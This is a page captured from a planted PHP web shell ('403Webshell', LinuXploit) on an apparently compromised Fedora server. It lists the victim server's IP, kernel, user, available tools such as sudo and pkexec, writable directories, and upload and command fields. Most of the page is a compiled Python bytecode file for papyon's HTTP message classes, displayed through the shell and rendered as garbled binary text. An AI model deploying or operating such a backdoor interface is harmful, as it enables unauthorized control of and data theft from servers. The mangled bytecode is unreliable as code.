403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/papyon/gnet/message/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyo
Ñò
œ  Jc@sdZddkZddkTddklZdddgZdefd„ƒYZdefd	„ƒYZdefd
„ƒYZ	dS(sHTTP Messages structures.iÿÿÿÿN(t*(todicttHTTPMessagetHTTPResponsetHTTPRequestcBsMeZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	RS(s½HTTP style message abstraction

        @ivar headers: HTTP style headers of the message
        @type headers: dict()

        @ivar body: HTTP Message Body
        @type body: string
    cCs|iƒdS(N(tclear(tself((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyt__init__%scCst|ƒ}||i|<dS(s·Add the header with the given name to the set of headers of
        this message
            
            @param name: name of the header
            @param value: value of the headerN(tstrtheaders(Rtnametvalue((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyt
add_header(scCs|i|S(s#Returns the value of a given header(R	(RR
((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyt
get_header1scCstƒ|_d|_dS(sEmpties the HTTP messagetN(RR	tbody(R((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyR5scCs |iƒ|idƒ}x€t|ƒD]r\}}|iƒdjodi||dƒ|_Pn|iddƒ\}}|i|iƒ|iƒƒq&WdS(s™Parses a given chunk of data and fill in the current object
        
            @param chunk: the chunk of data to parse
            @type chunk: strings
Rit:N(	Rtsplitt	enumeratetstriptjoinRRtrstriptlstrip(RtchunktlinestitlineR
R((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pytparse:s

cCsyg}x@|iiƒD]/}|idi|t|i|ƒfƒƒqW|idƒ|it|iƒƒdi|ƒS(Ns: Rs
(R	tkeystappendRRR(RtresultR
((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyt__str__Is-
cCsG|iiddƒ}ti|ƒdiddƒ}t|ƒi|ƒS(NsContent-TypeRitcharsets	iso8859-1(R	tgettcgitparse_headerRtdecode(RtheaderR ((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyt__unicode__Ss(
t__name__t
__module__t__doc__RRR
RRRR&(((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyRs							
cBs2eZdddddd„Zd„Zd„ZRS(RiÈtOKs1.0cCsy|djo
h}nti|ƒx*|iƒD]\}}|i||ƒq1W||_||_||_||_dS(N(	tNoneRRt	iteritemsRRtstatustreasontversion(RR	RR-R.R/R%R((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyRZs



			cCsx|iddƒ\}}|iddƒ\}}}t|ƒ|_||_|iddƒd|_ti||ƒdS(Ns
it it/(RtintR-R.R/RR(RRt
start_linetmessageR/R-R.((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyRes	cCs7ti|ƒ}d|i|i|if}|d|S(Ns
HTTP/%s %d %ss
(RRR/R-R.(RR4R3((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyRosN(R'R(R+RRR(((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyRYs	
cBs2eZdddddd„Zd„Zd„ZRS(RtGETR1s1.0cCsy|djo
h}nti|ƒx*|iƒD]\}}|i||ƒq1W||_||_||_||_dS(N(	R+RRR,RRtmethodtresourceR/(RR	RR6R7R/R%R((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyRvs



			cCso|iddƒ\}}|idƒ\}}}||_||_|iddƒd|_ti||ƒdS(Ns
iR0R1(RR6R7R/RR(RRR3R4R6R7R/((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyRs		cCs7ti|ƒ}d|i|i|if}|d|S(Ns
%s %s HTTP/%ss
(RRR6R7R/(RR4R3((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyR‹s	N(R'R(R+RRR(((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyRus	
(
R)R"tpapyon.gnet.constantstpapyon.util.odictRt__all__tobjectRRR(((s</usr/lib/python2.6/site-packages/papyon/gnet/message/HTTP.pyt<module>s
=

Youez - 2016 - github.com/yon3zu
LinuXploit